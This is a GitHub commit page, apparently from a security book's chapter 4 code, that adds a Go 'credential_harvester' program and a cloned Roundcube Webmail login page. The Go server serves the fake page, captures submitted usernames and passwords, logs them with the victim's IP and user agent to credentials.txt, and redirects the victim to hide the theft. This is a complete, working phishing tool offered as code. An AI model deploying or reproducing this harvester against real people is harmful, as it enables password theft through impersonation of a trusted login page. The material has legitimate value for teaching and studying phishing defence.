Skip to content

Commit 9053426

Browse files
committed
Initial commit Chap 4 code
1 parent d5373d2 commit 9053426

File tree

20 files changed

+16753
-0
lines changed

20 files changed

+16753
-0
lines changed

ch-4/credential_harvester/credentials.txt

Whitespace-only changes.

ch-4/credential_harvester/main.go

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package main
2+
3+
import (
4+
"net/http"
5+
"os"
6+
"time"
7+
8+
log "github.com/Sirupsen/logrus"
9+
"github.com/gorilla/mux"
10+
)
11+
12+
func login(w http.ResponseWriter, r *http.Request) {
13+
log.WithFields(log.Fields{
14+
"time": time.Now().String(),
15+
"username": r.FormValue("_user"),
16+
"password": r.FormValue("_pass"),
17+
"user-agent": r.UserAgent(),
18+
"ip_address": r.RemoteAddr,
19+
}).Info("login attempt")
20+
http.Redirect(w, r, "/", 302)
21+
}
22+
23+
func main() {
24+
fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
25+
if err != nil {
26+
panic(err)
27+
}
28+
defer fh.Close()
29+
log.SetOutput(fh)
30+
r := mux.NewRouter()
31+
r.HandleFunc("/login", login).Methods("POST")
32+
r.PathPrefix("/").Handler(http.FileServer(http.Dir("public")))
33+
log.Fatal(http.ListenAndServe(":8080", r))
34+
}
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
<!DOCTYPE html>
2+
<!-- saved from url=(0017)http://127.0.0.1/ -->
3+
<html lang="en" class=" js chrome webkit"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
4+
<title>Roundcube Webmail :: Welcome to Roundcube Webmail</title>
5+
<meta name="Robots" content="noindex,nofollow">
6+
<meta name="viewport" content="" id="viewport">
7+
<link rel="shortcut icon" href="http://127.0.0.1/skins/larry/images/favicon.ico">
8+
<link rel="stylesheet" type="text/css" href="./index_files/styles.css">
9+
<!--[if IE 9]><link rel="stylesheet" type="text/css" href="skins/larry/svggradients.css?s=1484602228" /><![endif]-->
10+
<link rel="stylesheet" type="text/css" href="./index_files/jquery-ui-1.10.4.custom.css">
11+
<script type="text/javascript" src="./index_files/ui.js"></script>
12+
13+
14+
15+
16+
<script src="./index_files/jquery.min.js" type="text/javascript"></script>
17+
<script src="./index_files/common.js" type="text/javascript"></script>
18+
<script src="./index_files/app.js" type="text/javascript"></script>
19+
<script src="./index_files/jstz.min.js" type="text/javascript"></script>
20+
<script type="text/javascript">
21+
22+
/*
23+
@licstart The following is the entire license notice for the
24+
JavaScript code in this page.
25+
26+
Copyright (C) 2005-2014 The Roundcube Dev Team
27+
28+
The JavaScript code in this page is free software: you can redistribute
29+
it and/or modify it under the terms of the GNU General Public License
30+
as published by the Free Software Foundation, either version 3 of
31+
the License, or (at your option) any later version.
32+
33+
The code is distributed WITHOUT ANY WARRANTY; without even the implied
34+
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
35+
See the GNU GPL for more details.
36+
37+
@licend The above is the entire license notice
38+
for the JavaScript code in this page.
39+
*/
40+
var rcmail = new rcube_webmail();
41+
rcmail.set_env({"task":"login","x_frame_options":"sameorigin","standard_windows":false,"locale":"en_US","cookie_domain":"","cookie_path":"\/","cookie_secure":false,"skin":"larry","refresh_interval":60,"session_lifetime":600,"action":"","comm_path":".\/?_task=login","compose_extwin":false,"date_format":"yy-mm-dd","request_token":"PTHnYgUOlKX3i8m5V9V1Gmc3SZRBjPLC"});
42+
rcmail.add_label({"loading":"Loading...","servererror":"Server Error!","connerror":"Connection Error (Failed to reach the server)!","requesttimedout":"Request timed out","refreshing":"Refreshing...","windowopenerror":"The popup window was blocked!","uploadingmany":"Uploading files...","errortitle":"An error occurred!","toggleadvancedoptions":"Toggle advanced options"});
43+
rcmail.gui_container("loginfooter","bottomline");
44+
rcmail.gui_object('loginform', 'form');
45+
rcmail.gui_object('message', 'message');
46+
</script>
47+
48+
<script type="text/javascript" src="./index_files/jquery-ui-1.10.4.custom.min.js"></script>
49+
</head>
50+
<body>
51+
52+
<h1 class="voice">Roundcube Webmail Login</h1>
53+
54+
<div id="login-form">
55+
<div class="box-inner" role="main">
56+
<img src="./index_files/roundcube_logo.png" id="logo" alt="Roundcube Webmail">
57+
58+
<form name="form" method="post" action="http://127.0.0.1/?_task=login">
59+
<input type="hidden" name="_token" value="PTHnYgUOlKX3i8m5V9V1Gmc3SZRBjPLC">
60+
<input type="hidden" name="_task" value="login"><input type="hidden" name="_action" value="login"><input type="hidden" name="_timezone" id="rcmlogintz" value="America/Los_Angeles"><input type="hidden" name="_url" id="rcmloginurl" value=""><table><tbody><tr><td class="title"><label for="rcmloginuser">Username</label>
61+
</td>
62+
<td class="input"><input name="_user" id="rcmloginuser" required="required" size="40" autocapitalize="off" autocomplete="off" type="text"></td>
63+
</tr>
64+
<tr><td class="title"><label for="rcmloginpwd">Password</label>
65+
</td>
66+
<td class="input"><input name="_pass" id="rcmloginpwd" required="required" size="40" autocapitalize="off" autocomplete="off" type="password"></td>
67+
</tr>
68+
</tbody>
69+
</table>
70+
<p class="formbuttons"><input type="submit" id="rcmloginsubmit" class="button mainaction" value="Login"></p>
71+
72+
</form>
73+
74+
</div>
75+
76+
<div class="box-bottom" role="complementary">
77+
<div id="message"></div>
78+
<noscript>
79+
&lt;p class="noscriptwarning"&gt;Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser's settings.&lt;/p&gt;
80+
</noscript>
81+
</div>
82+
83+
<div id="bottomline" role="contentinfo">
84+
Roundcube Webmail
85+
86+
</div>
87+
</div>
88+
89+
90+
91+
<script type="text/javascript">
92+
if (!window.UI) { var UI = new rcube_mail_ui(); }
93+
</script>
94+
95+
96+
97+
98+
<script type="text/javascript">
99+
100+
jQuery.extend(jQuery.ui.dialog.prototype.options.position, {
101+
using: function(pos) {
102+
var me = jQuery(this),
103+
offset = me.css(pos).offset(),
104+
topOffset = offset.top - 12;
105+
if (topOffset < 0)
106+
me.css('top', pos.top - topOffset);
107+
if (offset.left + me.outerWidth() + 12 > jQuery(window).width())
108+
me.css('left', pos.left - 12);
109+
}
110+
});
111+
$(document).ready(function(){
112+
rcmail.init();
113+
var images = ["skins\/larry\/images\/ajaxloader.gif","skins\/larry\/images\/ajaxloader_dark.gif","skins\/larry\/images\/buttons.png","skins\/larry\/images\/addcontact.png","skins\/larry\/images\/filetypes.png","skins\/larry\/images\/listicons.png","skins\/larry\/images\/messages.png","skins\/larry\/images\/messages_dark.png","skins\/larry\/images\/quota.png","skins\/larry\/images\/selector.png","skins\/larry\/images\/splitter.png","skins\/larry\/images\/watermark.jpg"];
114+
for (var i=0; i<images.length; i++) {
115+
img = new Image();
116+
img.src = images[i];
117+
}
118+
});
119+
</script>
120+
121+
122+
</body></html>

0 commit comments

Comments
 (0)